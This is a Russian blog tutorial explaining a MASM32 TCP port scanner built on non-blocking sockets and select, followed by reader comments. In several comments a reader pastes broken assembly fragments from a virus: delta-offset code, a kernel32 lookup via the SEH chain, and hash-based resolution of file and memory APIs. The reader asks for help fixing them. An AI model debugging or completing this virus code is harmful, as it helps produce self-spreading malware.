MASM32: Часть 3 — Брутальная бессердечность

Давно не писал новых статей по MASM, решил наконец-то продолжить цикл. Думаю, вы уже прочитали первые две статьи (эту и эту тоже) и разобрали их содержание. Пришло время поговорить о других возможностях MASM32. Возьмите исходный код из самой первой статьи, из той, в которой мы делали самое первое GUI-приложение, будем его использовать как базу для нового проекта.


В общем, сначала идея была проста... [click]

Но потом...


Программка будет сканировать все порты из указанного диапазона на заданном ip-адресе и выводить информацию в лог. Многопоточность делать не будем, но один поток всё равно создадим, чтобы при сканировании форма не висела.

Сначала я приведу RC-файл, который получился у меня. Можете его использовать:

А теперь, как обычно, я приведу полный исходный код проекта, а потом его по частям прокомментирую.

Самое начало пояснять не буду - вы все уже и так знаете: объявление необходимых директив, подключение файлов (среди которых добавился ws2_32 для работы с сокетами), объявление прототипов процедур, которые я опишу дальше, и объявление констант из rc-файла. Далее идет объявление структуры fd_struct, про нее я тоже расскажу дальше. В любом случае, теперь вы знаете, как объявляются структуры в MASM32.

Дальше начинается секция данных и неинициализированных данных:

Собственно, а как же мы будем производить сканирование? Пользователь вводит ip-адрес, диапазон портов для сканирования и жмет старт, после чего программа создает поток, который по очереди ко всем портам пытается подключиться (соответственно, сканируем только TCP-порты). Если подключение удалось - порт открыт, если нет - закрыт.

Теперь дальше к коду. Инициализацию я обернул в процедуру, и здесь приходит время познакомиться с локальными переменными. Вы, наверное, уже знаете, что во многих языках программирования в функциях можно создавать локальные переменные, которые после выхода из функции удаляются, так как хранятся в стеке. MASM не является исключением.

Далее идет процедура обработки оконных сообщений:

При инициализации окна мы теперь не только устанавливаем его иконку, но и ограничиваем длины полей. Для поля лога снимаем ограничение на максимальную длину (передаем в оконном сообщении EM_SETLIMITTEXT число -1), а у других полей ставим разумные ограничения.

Теперь - код, который выполняется при нажатии на кнопку "Начать!":

Теперь - несколько обработчиков нажатий других кнопок:

Здесь я должен сказать немного больше о переменной типа байт stopper, которую мы устанавливаем в 1, когда пользователь хочет остановить проверку портов раньше времени. Дело в том, что мы могли бы просто убить поток с помощью WinAPI-функции TerminateThread (для этого нам не следовало закрывать хендл потока с помощью CloseHandle), но это не совсем корректный, хоть и быстрый, путь. На MSDN перечислены проблемы, которые могут возникнуть при таком убийстве потока. Мы будем использовать переменную stopper, чтобы сообщить потоку, что мы хотим его завершить, и он сам корректно завершит своё выполнение, увидем, что stopper выставлена в единицу.

Теперь еще некоторые изменения в процедуре обработки оконных сообщений:

А теперь перейдем к разбору процедуры, которая будет выполняться в отдельном потоке. Это - самая сложная часть, и вы сможете действительно гордиться собой, если разберетесь, как она работает.

Что же произошло в этом кусочке кода? Во-первых, мы объявили начало процедуры. У нее есть один входной параметр (я назвал его param). Этот параметр может пригодиться, если мы из главного потока, который создает вторичный поток, этому самому вторичному потоку хотим передать какую-то информацию. Например, его номер. Мы это использовать не будем, потому что поток у нас всего один, и передавать нам в него ничего не требуется. Если вы уже заходили на msdn и читали описание функции CreateThread, то вы уже в курсе, откуда берется этот параметр.

Далее мы объявили несколько локальных переменных - первая socketAddress типа sockaddr_in (эта структура опять-таки объявлена в masm32/include/ws2_32.inc), используется для подключения сокета. Далее sock - в ней мы будем хранить хендл сокета. Переменная iMode, в которую мы записали 1, будет использоваться для перевода сокета в неблокирующий режим (потом поясню, что это такое и зачем). Далее идут три переменные одинакового типа fd_struct (помните, это та структура, которую мы определили в самом начале исходного кода?). Они будут использоваться для определения, открыт ли порт. Далее идет переменная tv типа timeval, в поля которой мы записываем нули. Эта переменная служит для хранения времени в секундах и миллисекундах для задания таймаута функции select (опять-таки, поясню дальше, зачем).

Идем дальше.

В этом кусочке должно быть все понятно, а вот дальше идет более сложный момент:

Здесь мы переводим сокет в неблокирующий режим. Зачем это надо? По умолчанию созданный сокет будет работать в блокирующем режиме. То есть, все функции вроде connect, send, recv будут блокировать выполнение нашей программы до тех пор, пока не завершатся. Нас такое положение дел не устраивает, ведь мы хотим возможность задавать таймаут для connect! Поэтому нам необходим неблокирующий режим, в котором функции выполняются и не блокируют нашу программу, сразу возвращая управление.

Здесь мы переводим в нужный вид порт, который содержится в переменной portlow (т.е. начальное значение) и тоже записываем его в структуру SocketAddress. После чего делаем попытку подключить сокет, используя только что заполненную структуру. Потом идет вызов функции Sleep, которая приостанавливает выполнение потока на заданное число миллисекунд (а задает его пользователь). Функция connect выполнение потока не блокирует, потому что у нас активирован неблокирующий режим, а тихо работает себе в фоне. Но вот как же узнать, подключился ли сокет спустя заданное время, или нет? Пожалуй, это самый хитрый момент программы.

Пришло время поговорить о структуре fd_struct, которая была определена в начале кода. Эта структура, вообще говоря, имеет произвольный размер, и используется функцией select для определения, какие из сокетов, указанные в этой структуре, готовы к чтению/записи или вернули ошибку. Функция select используется как раз в неблокирующем режиме, потому что позволяет приостановить выполнение до тех пор, пока статус какого-либо из указанных в структурах сокетов не изменится. Время ожидания можно менять, его мы задали в переменной tv - по нулям. То есть, в нашем случае функция select проверит, какие из сокетов, заданные в структуре fds_r, готовы к чтению, какие из сокетов из fds_r готовы к записи, и какие из сокетов из fds_e вернули ошибку. В этих структурах всего по одному сокету (он у нас и есть один), поэтому я и сделал частный случай структуры fd_set (она описана на msdn) под единственный сокет, и в счетчик сокетов мы загружаем единицу. Блокироваться выполнение потока не будет, потому что, как я уже сказал, таймаут задан как 0. Конечно же, вам следует прочитать описание функции select и на msdn, чтобы все полностью встало на свои места.

Еще пара слов о макросе m2m (и не помню уже, вроде бы не пояснял его). Команда mov поддерживает формы
mov [регистр], [память]
mov [память], [регистр]
mov [регистр], [число]
mov [память], [число]
mov [регистр], [регистр]

Но вот формы mov [память], [память] не существует, поэтому, чтобы загрузить значение из памяти в память, следует воспользоваться либо регистром, либо стеком. То есть, писать либо "push memory1; pop memory2", либо "mov eax, memory1; mov memory2, eax". Макрос m2m реализует первую операцию (точнее, две операции) просто ради того, чтобы меньше писать. Макрос mrm реализует вторые две операции. Это уж на ваш вкус, что использовать для пересылки данных из памяти в память. Но нужно помнить, что макрос mrm не сохраняет значение регистра eax.

Так, ладно. Самая задница позади, и можно немножко расслабиться.

После вызова select все три структуры (fds_r, fds_w, fds_e) будут содержать информацию о сокетах, пригодных для чтения, записи, и о возвративших ошибку соответственно. Далее идут проверки - если наш сокет не присутствует в структурах fds_r и fds_w, то есть не пригоден для записи и чтения, значит, он не подключен, т.е., порт закрыт. После этого идет проверка, не вернул ли сокет ошибку (не содержится ли он в структуре fds_e). Если вернул - опять-таки сокет не подключен. И только в том случае, если все эти условия остались невыполненными, сокет можно считать подключенным и порт, соответственно, открытым. Функция __WSAFDIsSet как раз проверяет наличие нужного сокета в заданной структуре.

Почему мы просто не написали cmp portlow, porthigh? Потому что инструкция cmp, как и mov, не поддерживает форму cmp [память], [память], пришлось воспользоваться регистром eax.

Следует отметить, что поток нужно завершать именно функцией ExitThread. Просто инструкция ret здесь прокатит, но это не слишком корректное решение, так как не все ресурсы будут освобождены.

Ну как, мозги уже кипят? Ничего, осталось разобрать всего несколько вспомогательных функций, которые используются в нашей программе.

Что такое xor? Это операция "исключающее или". Она несложная, подробнее можно прочитать ЗДЕСЬ.

Вот мы и разобрали весь исходный код по кусочкам. Надеюсь, что вы смогли дочитать до этого места и постарались все понять.

Если хочется как-то модифицировать сканер, улучшить его - попробуйте прикрутить многопоточность, и будете няшами :3

Все вопросы можно писать в комментариях, постараюсь на них ответить.

MASM32: Часть 3 — Брутальная бессердечность: 234 комментария

  1. Но все таки, почему мы делаем Sleep(Timeout), а не задаем таймаут в функции select?

    Опечатка в начале статьи: первый две ссылки указывают на одну и ту самую страницу.

    А так статья норм, хотя не прочитал еще полностью. Спасибо большое!

    1. Как вариант - можно указать и таймаут у select (tv_usec, в миллисекундах). В этом случае управление возвратится в программу либо по окончанию этого таймаута, либо, если возникнут какие-либо изменения в сокетах в переданных функции структурах (fds_r/fds_w/fds_e). Да, такой путь даже выгоднее, потому что в некоторых случаях функция select может отдать управление быстрее, чем заданный таймаут.
      Опечатку сейчас поправлю, спасибо.

      1. Слушай скинь мне пожалуйста компилятор ресурсов, для компиляции файла rc в res, заранее спасибо

        1. Resed это редактор ресурсов, они ничего не компилирует а используется для подключения ресурсов, которые сохраняются в файле ресурсов, то есть в rc-файле а код сохраняется в текстовым редакторе с расширением asm. Компилируется и линкуется все bat-файлом, но для это rc-файл нужно преобразовать в res-файл.

          Можете пожалуйста дать ссылку на рабочий компилятор ресурсов, ваш использовал, он не пашет

  2. xor eax, eax
    Всегда помещает в регистр eax 0? Почему тогда не используете
    mov eax, 0
    Есть какая то разница принципиальная? Просто для себя интересно.

    1. XOR - операция "исключающее или" между двумя операндами, я говорил о ней в своих статьях. XOR, примененный к двум одинаковым числам, всегда даст ноль, это несложно понять, узнав, что же из себя представляет "исключающее или".

      В сравнении с mov eax, 0:
      xor eax, eax занимает в ассемблированном виде занимает на 3 байта меньше, чем mov eax, 0, и, насколько помню, выполняется на 1 такт процессора быстрее.

      1. Поэтому в результате выполнения операции XOR будут разблокированы элементы панели управления, которые были заблакированы во время выполнения программы,они разблокируются после завершения выполнения потока вернув управления пользователю.

      2. Я в бешенстве!! Все сделал, как в статье! Подключил файл с описанием всех констант и переменных, xp mainifest, использовал готовый rc-файл с описанием всех подключенных ресурсов.

        Код сохранил как new.asm и закинул в одну папку с xp mainifest, new.rc, батником и скопировал в папку с проектом файл 64stub.exe для компиляции bat-файлом new.rc и new.asm, откомпилировать не получилось.

        Выдает - http://s019.radikal.ru/i641/1204/74/2ed822139950.jpg

        не может открыть asm. Просмотрел new.asm и new.rc они полностью идентичны. Что должно быть в new.asm-?

  3. интересно, в наше время действительно кому-то важен 1 такт процессора и 2 байта инфы? Спрашиваю на полном серьезе. Или вы пишите чисто по привычке 90ых годов?

    1. Вообще, понимание того, как все происходит на низком уровне (возврат значений, передача значений в функции, стековые фреймы, куча и т.д.) весьма помогает в программировании на языках высокого уровня.

      1. Может ошибка здесь вед тут передается второй параметр-?

        LINK /nologo %1.obj %1.res
        rem этой первый параметри,компилирует все в exe а линкование, преоабразование в объеткный код второй параметр, который предается

        LINK /nologo %2.obj %2.res

  4. dx извини если достал тебя, но я почти закончил твой код, использовал готовый rc - файл ресурсов,если не получится отлинковать и откомпилировать, поможешь а то ты не многословный-?

  5. Привет!У меня вопрос.Если я хочу создать несколько потоков, то я должен указать номер создаваемого потока, наример - CreateThread, 1, 10240, offset Check, 1,0,0,или организовать цикл-?

    1. Номер потока указывать не обязательно, просто создавай сколько нужно потоков в цикле и все. Не забудь закрывать их хендлы, если они тебе больше не нужны.

  6. ПАШЕТ БЫСТРЕЕ!!Действительно стоив увеличить многопоточность, быстродействие возрастает.Лучше чем один поток, тогда она притормаживала. Сейчас другое дело

  7. dx, извии, но получается какая-то несуразица. Я имею ввиду неблокирующие сокеты. Смотри, вот твой код:

    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    invoke connect, sock, addr SocketAddress, sizeof sockaddr_in

    invoke Sleep, timeout

    mov fds_r.fd_count, 1
    mov fds_w.fd_count, 1
    mov fds_e.fd_count, 1
    m2m fds_r.ssock, sock
    m2m fds_w.ssock, sock
    m2m fds_e.ssock, sock

    invoke select, 0, addr fds_r, addr fds_w, addr fds_e, addr tv

    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    Так я что хочу сказать- ты когда вызываешь функцию connect, то, независимо от результата её работы, дальнейший ход программы НЕ ИЗМЕНИТСЯ. Функция connect АБСОЛЮТНО НЕ ВЛИЯЕТ на дальнейших ход программы. (А тогда зачем она?)

    Смотри, пусть ты создал сокет (socket) и получил его дескриптор, пусть он равен 0X9C (как у меня). И этот дескриптор БЕЗУСЛОВНО попадёт вот сюда
    (этот код идёт ПОСЛЕ connect)
    //++++++++++++++++++++++++++++++++++++++++++++++++

    m2m fds_r.ssock, sock ; тут будет всё тот же 0x9C!
    m2m fds_w.ssock, sock ; и тут
    m2m fds_e.ssock, sock ; и тут

    //++++++++++++++++++++++++++++++++++++++++++++++++

    connect не меняет это значение. Оно как было 0X9C, так и останется, независимо НИ ОТ ЧЕГО. Но, может быть, результаты connect будут видны в дальнейшем? Хорошо бы кабы так, да только следующая инструкция- вызов select (), вот ты пишешь:

    //++++++++++++++++++++++++++++++++++++++++++++++++

    select используется как раз в неблокирующем режиме, потому что позволяет приостановить выполнение до тех пор, пока статус какого-либо из указанных в структурах сокетов не изменится.

    //++++++++++++++++++++++++++++++++++++++++++++++++

    А он не изменится. Уже ничего не изменится. Не изменится содержание структур, поскольку им не с чего меняться- connect не принимает указатели на них, то есть какие данные примет select, такими они и останутся на протяжении всей её работы. Как я пытался тебя убедить, единственное, что может повлиять на их изменение это connect. А она просто не принимает их адреса в качестве параметров.

    Надеюсь быть переубеждённым. Спасибо!

    1. Я вызываю connect в неблокирующем режиме. Я не могу проверить возвращенное значение, так как режим неблокирующий. Поэтому я жду некоторое время (timeout) и после этого с помощью функции select проверяю, как выполнился вызов connect (успешно или нет). Тут можно было бы сделать оптимальнее, я уже не помню, зачем тут принудительный вызов Sleep, возможно, можно было сделать его через непосредственно select (последний параметр timeval)... В любом случае, этот код годится только для примера, так как select уже старая функция, на замену пришли IO completion ports и другие новые технологии.

      1. Поэтому я жду некоторое время (timeout) и после этого с помощью функции select проверяю, как выполнился вызов connect (успешно или нет).

        +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

        Ну ты же понимаешь, что это невозможно. У этих двух функций должно быть что-то - точнее говоря, ячейка(и) памяти или регистр (частный случай ячейки памяти), что могло бы быть изменённым одной функцией (connect) и проконтролировано другой (select). А у них нет ничего общего- только sock- которое может изменяться в connect как угодно- select примет его неизменённым, ибо передаётся оно по значению, но не по адресу...
        Так что вот. Не знаю, почему ты не использовал блокирующие сокеты.

        +++++++++++++++++++++++++++++++++++++++++++++++++++++++++

        Но это всё лирика. А вот я спрашивал уже о том, как программно приконнектиться к отдалённому рабочему столу, протокол RDP. В гугле примеры исключительно на дельфи, но им сыт не будешь... Это типа пожелания, чо ли, вы же где-то спрашивали за пожелания!

        1. Ты какой-то упоротый. Прочитай про неблокирующие сокеты. Прочитай еще раз внимательно статью, чтобы понять, что неблокирующие сокеты я использовал для ограничения исполнения функции connect. Функция connect имеет с другими сокетными функциями общий параметр socket, и именно его состояние она меняет. socket является хендлом, который может внутри библиотеки windows sockets указывать на структуру с 100500 полей.

        2. А тебе ни о чемни говорит этот цикл-?

          invoke __WSAFDIsSet, sock, addr fds_r
          push eax
          invoke __WSAFDIsSet, sock, addr fds_w
          pop ebx

          .if eax == 0 && ebx == 0
          .if openonly == 0
          invoke AddLog, portlow, 0

          .endif
          jmp __next
          .endif

          invoke __WSAFDIsSet, sock, addr fds_e
          .if eax != 0
          .if openonly == 0
          invoke AddLog, portlow, 0
          .endif
          .else
          invoke AddLog, portlow, 1
          .endif

          __next:

          вызывается функция sleep, для того чтобы функции вроде connnect не блокировали программу и передает упраление select, которая работает в неблокирующим режиме,WSAFDLsSet выполняет проверку не присутствует ли сокет в fdr_e, если да. то вернул ошибку и не подключен. если нет идет проверка присутствует сокет в структуре fdr_w и fdr_r, то есть готов к чтению и записи и если все условия выполнены сокет подключен,управление передается программе- это цикл проверки условий
          SELECT возвращает управление программе,как только имзенится начения в заданных структурах, функция connect имеет общий параметр с socket, так она и изменит его а хендл свой не трогает а работает со структурами fd_struct тип fdr_e fdr_w fdr_r, которые имеют произвольный размер, там и сохраняется информация о сокете

          invoke __WSAFDIsSet, sock, addr fds_r
          push eax
          invoke __WSAFDIsSet, sock, addr fds_w
          pop ebx

          Здесь использует операция пересылки, информация о проверенном сокете fds_r сохраняется в регистре eax, далее идет проверка структуры fds_w и инфа о проверенных сокетах записывается в регистр ebx - адрессация из памяти в память не сущесвтует[mov memory1] [mov memory2], поэтому необходимо воспоьзоватся либо регистрои либо стеком

          Далее идет проверка

          .if eax == 0 && ebx == 0
          .if openonly == 0
          invoke AddLog, portlow, 0
          .endif
          jmp __next
          .endif

          Проверяется загружено ли начальное значение порта,если нет выйти из цикла , то есть сокет не загружен ни в fds_r ни в fds_w - не подключен
          далее идет проверка структуры fds_e

          invoke __WSAFDIsSet, sock, addr fds_e
          .if eax != 0
          .if openonly == 0
          invoke AddLog, portlow, 0
          .endif
          .else
          invoke AddLog, portlow, 1
          .endif

          __next:

          Если сокет присутствует в структуре fds_e - значит вернул ошибку, то есть не подключен, товыйти из цикла.В случае если все эти условия не выполняются то сокет подключен.
          **************************************************************************
          В этом случае функция SELECT вернет управления программе и что здесь непонятного-?Откомплируй исходник и запусти, вс реаботает,скорость не устрайвает прикрути многопоточность
          **************************************************************************

  8. //++++++++++++++++++++++++++++++++++++++++++++++++++++++
    Функция connect имеет с другими сокетными функциями общий параметр socket, и именно его состояние она меняет.
    //++++++++++++++++++++++++++++++++++++++++++++++++++++++

    Как она может менять его состояние если она не принимает на него указатель?
    sock лежит по адресу 0Xcafebabe. Плюс ко всему это поле не принадлежит структуре SocketAddress, с которой connect работает.

    Тем не менее каким-то образом connect знает, что по адресу 0Xcafebabe лежит sock и она по этому адресу его меняет. Гениально, чё...

    1. Т.е. можно взять исходный код программы, выкинуть строку
      invoke connect, sock, addr SocketAddress, sizeof sockaddr_in
      скомпилировать и всё будет работать так же, как и с ней?

    2. Ты не просто упорот, ты идиот.

      Допустим, sock = 123 - это то, что лежит в твоей программе.
      Ты вызываешь connect(sock, .....)

      Функция connect приняла значение 123. У функции connect в общей памяти, которую для нее выделила библиотека ws2_32.dll, есть табличка соответствий вида:

      [Хендл сокета] -> [Адрес структуры, содержащей инфу о сокете]
      1 -> адрес, например, 0x70000012
      2 -> адрес, например, 0x70000055
      5 -> адрес, например, 0x70000099
      20 -> адрес, например, 0x700000d1
      55 -> адрес, например, 0x7000019f
      123 -> адрес, например, 0x70000483
      999 -> адрес, например, 0x70000999
      100500 -> адрес, например, 0x70000fff

      Функция connect ищет в этой табличке соответстующий адрес и находит: 0x70000483. А уж по этому адресу лежит полная структура, в которой лежит инфа о том, с какими параметрами сокет был создан, подключен ли он и если да, то куда, сколько ошибок произошло в этом сокете и еще куча всего. Функция connect манипулирует этими параметрами (читает и меняет их), не трогая твой хендл, потому что программисту, вызывающему функцию connect, необязательно знать, что там в кишках винсока. После вызова connect твой хендл так и останется 123, однако состояние сокета поменяется, и инфа об этом запишется в соответствующую структуру внутри ws2_32.dll.

        1. Четкое определение термина "быдло" в студию. А также основные отличия в текущем контексте между этим термином и понятием "избирательная мизантропия".

  9. dx, помоги не хочет компилироваться и все

    386
    .model flat, stdcall

    pushz macro szText:VARARG
    local nexti
    call nexti
    db szText, 0
    nexti:
    endm

    includelib \masm32\lib\kernel.lib

    .code
    start:

    ; Получаем дельта-смещение
    Call _Delta
    _Delta:
    sub dword ptr [esp], offset _Delta ; delta_off
    push dword ptr [esp] ; [ebp+4*5]

    _ReadSEH:
    xor edx, edx
    assume fs:flat
    mov eax, fs:[edx] ; читаем элемент SEH
    dec edx ; edx = -1

    _SearchK32:
    cmp [eax], edx ; встретили нужный?
    je _CheckK32
    mov eax, [eax] ; получаем следующее значение
    jmp _SearchK32

    _CheckK32:
    mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в kernel32.dll
    xor ax, ax ; выравниваем полученный адрес

    _SearchMZ:
    cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру
    je _CheckMZ
    sub eax, 10000h ; если не равна MZ, то ищем дальше
    jmp _SearchMZ

    _CheckMZ:
    mov edx, [eax + 3Ch] ; переходим на PE заголовок
    cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
    jne _Exit

    _SearchAPI:
    mov esi, [eax + edx + 78h]
    add esi, eax
    add esi, 18h
    xchg eax, ebx
    lodsd ; получаем число указателей на имена
    push eax ; [ebp+4*4]
    lodsd ; получаем RVA таблицы экспорта
    push eax ; [ebp+4*3]
    lodsd ; получаем RVA таблицы указателей на имена
    push eax ; [ebp+4*2]
    add eax, ebx
    push eax ; Указатель на таблицу имен [ebp+4*1]
    lodsd ; получим RVA на таблицу ординалов
    push eax ; [ebp]
    mov edi, [esp+4*5] ; edi = дельта_смещение
    lea edi, [edi+HashTable] ; edi указывает на начало HashTable
    mov ebp, esp ; сохраняем базу стека

    _BeginSearch:
    mov ecx, [ebp+4*4] ; число имен функций
    xor edx, edx ; здесь хранится порядковый номер функции (от 0)

    _SearchAPIName:
    mov esi, [ebp+4*1]
    mov esi, [esi]
    add esi, ebx ; адрес ASСII-имени очередной API-функции

    ; подсчет хэш-значения от имени функции
    _GetHash:
    xor eax, eax
    push eax
    _CalcHash:
    ror eax,7
    xor [esp],eax
    lodsb
    test al, al
    jnz _CalcHash
    pop eax

    ; хэш подсчитан
    OkHash:
    cmp eax, [edi] ; сверяем полученный hash с тем что в таблице HashTable
    je _OkAPI ; переходим на вычисление адреса функции
    add dword ptr [ebp+4*1], 4 ; сдвигаемся к другому элементу таблицы экспорта
    inc edx
    loop _SearchAPIName
    jmp _Exit

    ; вычисляем адрес функции
    _OkAPI:
    shl edx, 1 ; номер функции
    mov ecx, [ebp] ; берем указатель на таблицу ординалов
    add ecx, ebx
    add ecx, edx
    mov ecx, [ecx]
    and ecx, 0FFFFh
    mov edx, [ebp+4*3] ; извлекаем RVA таблицы экспорта
    add edx, ebx
    shl ecx, 2
    add edx, ecx
    mov edx, [edx]
    add edx, ebx
    push edx ; сохраняем адрес найденной функции в стеке
    cmp word ptr [edi+4], 0FFFFh ; Конец списка?
    je _Call_API
    add edi, 4 ; следующее hash-значение функции

    _NextName:
    mov ecx, [ebp+4*2] ; восстанавливаем начало таблицы экспорта
    add ecx, ebx
    mov [ebp+4*1], ecx ; Index в таблице имен
    jmp short _BeginSearch

    ; Загружаем user32.dll
    pushz "user32.dll"
    call LoadLibrary

    ; Находим MessageBoxA
    pushz "MessageBoxA"
    push eax
    call GetProcAddress

    ; Вызываем MessageBoxA
    push 0
    push 0
    push 0
    push 0
    call eax

    _Exit:
    push 0
    call ExitProcess

    data:

    delta_off equ [ebp+18h]
    CloseHandle equ dword ptr [ebp-4*1]
    FindFirstFileA equ dword ptr [ebp-4*2]
    FindNextFileA equ dword ptr [ebp-4*3]
    CreateFileA equ dword ptr [ebp-4*4]
    ReadFile equ dword ptr [ebp-4*5]
    GlobalAlloc equ dword ptr [ebp-4*6]
    GetFileSize equ dword ptr [ebp-4*7]
    SetFilePointer equ dword ptr [ebp-4*8]
    WriteFile equ dword ptr [ebp-4*9]
    GlobalFree equ dword ptr [ebp-4*10]
    VirtualProtect equ dword ptr [ebp-4*11]
    ExitProcess equ dword ptr [ebp-4*12]
    GetProcAddress equ dword ptr [ebp-4*13]
    LoadLibrary equ dword ptr [ebp-4*14]
    FindClose equ dword ptr [ebp-4*15]
    GetModuleFileNameA equ dword ptr [ebp-4*16]
    SetCurrentDirectoryA equ dword ptr [ebp-4*17]
    FreeLibrary equ dword ptr [ebp-4*18]

    HashTable:
    dd 0F867A91Eh ; CloseHandle
    dd 03165E506h ; FindFirstFileA
    dd 0CA920AD8h ; FindNextFileA
    dd 0860B38BCh ; CreateFileA
    dd 029C4EF46h ; ReadFile
    dd 0CC17506Ch ; GlobalAlloc
    dd 0AAC2523Eh ; GetFileSize
    dd 07F3545C6h ; SetFilePointer
    dd 0F67B91BAh ; WriteFile
    dd 03FE8FED4h ; GlobalFree
    dd 015F8EF80h ; VirtualProtect
    dd 0D66358ECh ; ExitProcess
    dd 05D7574B6h ; GetProcAddress
    dd 071E40722h ; LoadLibraryA
    dd 0E65B28ACh ; FindClose
    dd 059B44650h ; GetModuleFileNameA
    dd 00709DC94h ; SetCurrentDirectoryA
    dd 0D64B001Eh ; FreeLibrary
    dw 0FFFFh ; Признак конца таблицы
    ;--------------------------------------------------------------------

    end start

    извини за здоровенный код. Дельта смещение относительно спроецированного файла вычисленно правильно, адреса VA вычислены верно VA=VBA + база-по таблицам из kerehel32.

  10. dx, я нашел оригинал кода, изучал механизы заражения,долго и упорно в нем разбирался,в вычислнии рамзера оператора jmp для записи инструкции по передаче управления , получение опкода и тд в образовательных целях,но где то срыта специфическая ошибка-

    http://programmersforum.ru/showthread.php?t=210055&highlight=%CF%F0%EE%E3%F0%E0%EC%EC%E0

  11. dx, я не прошу доработать его за меня, хотя бы подскажи где ошибка,все равно все ответсвенность несет создатель вируса

      1. В Вегасе ничего себе!!На конференции по компьютерным программам наверное. Ну ты наверное исходник видел,скажи гда там это чертова ошибка

        1. Вряд ли, скорее будет пытаться поиграть, правда не знаю как, т.к. там только с 21 играть разрешается, хотя ходить можно свободно.
          Я не разбираюсь в ассемблере

  12. Да ладно,ты несколько статей написал по MASM - при компиляции этим батником

    С:\masm32\bin\ml /nologo /c /coff main.asm
    C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj

    Выдает, чо ни может открыть main.asm,с чем это связано-?

  13. Такие же были и в предыдущей программе, видимо встроены специально,может нужно обяъвить прототипы функций и константы в начале кода-?

  14. дельта смещенияя подправил, посмотри -

    .386
    .model flat, stdcall
    option casemap:none

    pushz macro szText:VARARG
    local nexti
    call nexti
    db szText, 0
    nexti:
    endm

    includelib \lib\kernel32.lib

    ExitProcess PROTO :DWORD

    .data
    db 0
    .code
    invoke ExitProcess, 0
    start:

    сall VirDelta
    VirDelta:
    sub dword ptr [esp], OFFSET VirDelta
    push dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке

    ; Читаем SEH
    ReadSEH:
    xor edx, edx ; edx = 0
    assume fs:flat
    mov eax, fs:[edx] ; читаем элемент SEH
    dec edx ; edx = 0FFFFFFFFh

    ; Ищем элемент со значением 0FFFFFFFFh
    SearchKernel32:
    cmp [eax], edx ; сравниваем очередной с 0FFFFFFFFh
    je CheckKernel32 ; прыгаем, если нашли
    mov eax, [eax] ; получаем следующее значение
    jmp SearchKernel32 ; если не нашли - ищем дальше

    ; Определяем адрес Kernel32
    CheckKernel32:
    mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в
    xor ax, ax ; выравниваем полученный адрес

    ; Ищем сигнатуру MZ
    SearchKernelMZ:
    cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру MZ
    je CheckKernelMZ
    add delta_off ; сигнатура верна, переходим на
    ; проверку сигнатуры PE
    sub eax, 10000h ; если не равна MZ, то ищем дальше
    jmp SearchKernelMZ

    ; Проверяем сигнатуру PE
    CheckKernelMZ:
    mov edx, [eax + 3Ch] ; переходим на PE-заголовок
    cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
    jne _Exit ; неверная сигнатура, поэтому
    ; выходим

    SearchAPI:
    mov esi, [eax + edx + 78h]
    add esi, eax
    add esi, 18h
    add esi, delta_off
    xchg eax, ebx
    lodsd ; получаем число указателей на имена
    push eax ; [ebp+4*4]
    lodsd ; получаем RVA таблицы экспорта
    push eax ; [ebp+4*3]
    lodsd ; получаем RVA таблицы указателей на
    ; имена
    push eax ; [ebp+4*2]
    add eax, ebx
    push eax ; Указатель на таблицу имен
    ; [ebp+4*1]
    lodsd ; получим RVA на таблицу ординалов
    push eax ; [ebp]
    mov edi, [esp+4*5] ; edi = дельта_смещение
    lea edi, [edi+HashTable] ; edi указывает на начало HashTable
    mov ebp, esp ; сохраняем базу стека

    _BeginSearch:
    mov ecx, [ebp+4*4] ; число имен функций
    add delta_off
    xor edx, edx ; здесь хранится порядковый номер
    ; функции (от 0)
    _SearchAPIName:
    mov esi, [ebp+4*1]
    mov esi, [esi]
    add esi, delta_off
    add esi, ebx ; адрес ASСII-имени очередной API-

  15. Иными словами фиг найти ошибку в синтаксисе, а то заработаю диисанонс, так придется весь код по строчкам анализировать,ну куда же они ее запихнули сволочи

  16. Так мы там сначала адресс VA определяем - VA=VBA + база, база это смещение, того относительно куда спроецирован адрес системой,находим таблицу экспорта VRA - смещение 78h + 18h, это число имен функций, находим ordinal base- оределяем адресс функции,смещение - 10h и тп по таблице экспорта,создаем базу поиска kernel32,вычисляем хеш адресса искомой функции,далее сверяем метку MZ и 4-байта = 5A4Dh есди верно переходим к PE-загаловку,Cигнатура PE- 4550h

  17. Но этот фрагмент кода верный

    ; Читаем SEH
    ReadSEH:
    xor edx, edx ; edx = 0
    assume fs:flat
    mov eax, fs:[edx] ; читаем элемент SEH
    dec edx ; edx = 0FFFFFFFFh

    ; Ищем элемент со значением 0FFFFFFFFh
    SearchKernel32:
    cmp [eax], edx ; сравниваем очередной с 0FFFFFFFFh
    je CheckKernel32 ; прыгаем, если нашли
    mov eax, [eax] ; получаем следующее значение
    jmp SearchKernel32 ; если не нашли - ищем дальше

    ; Определяем адрес Kernel32
    CheckKernel32:
    mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в
    xor ax, ax ; выравниваем полученный адрес

    ; Ищем сигнатуру MZ
    SearchKernelMZ:
    cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру MZ
    je CheckKernelMZ
    ; сигнатура верна, переходим на
    ; проверку сигнатуры PE
    sub eax, 10000h ; если не равна MZ, то ищем дальше
    jmp SearchKernelMZ

    ; Проверяем сигнатуру PE
    CheckKernelMZ:
    mov edx, [eax + 3Ch] ; переходим на PE-заголовок
    cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
    jne _Exit ; неверная сигнатура, поэтому
    ; выходим

    SearchAPI:
    mov esi, [eax + edx + 78h]
    add esi, eax
    add esi, 18h
    xchg eax, ebx
    lodsd ; получаем число указателей на имена
    push eax ; [ebp+4*4]
    lodsd ; получаем RVA таблицы экспорта
    push eax ; [ebp+4*3]
    lodsd ; получаем RVA таблицы указателей на
    ; имена
    push eax ; [ebp+4*2]
    add eax, ebx
    push eax ; Указатель на таблицу имен
    ; [ebp+4*1]
    lodsd ; получим RVA на таблицу ординалов
    push eax ; [ebp]
